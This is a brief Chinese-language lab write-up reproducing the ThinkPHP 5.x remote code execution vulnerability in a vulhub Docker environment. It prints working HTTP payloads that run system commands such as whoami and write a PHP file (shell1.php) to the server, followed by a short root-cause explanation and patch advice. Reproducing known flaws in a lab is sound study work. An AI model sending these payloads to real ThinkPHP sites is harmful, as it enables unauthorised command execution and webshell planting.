ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞
漏洞概述:
- ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。
漏洞版本:
- 5.0.x
- 5.1.x
- 5.2.x
漏洞搭建:
- 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
- 5.1.x之后,必须在本地搭建,vulhub未提供。
- 如图所示搭建成功,走起!
漏洞复现:
- 分两个版本5.0.x和5.1.x、5.2.x,分别验证。
1.版本5.0.x
-
将控制的url参数s的设置为captcha,并且设置post数据:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
- -
成功执行命令
-
针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。
-
远程执行命令payload(不唯一):
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
写文件payload(不唯一):
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i
-
2.版本5.1.x、5.2.x
- 这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
- Payload:
a=system&b=whoami&_method=filter
漏洞修复:
- 及时打补丁。
- 前方道路坎坷,记得及时行乐。
总结:
- 这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,余生很长,请多指教。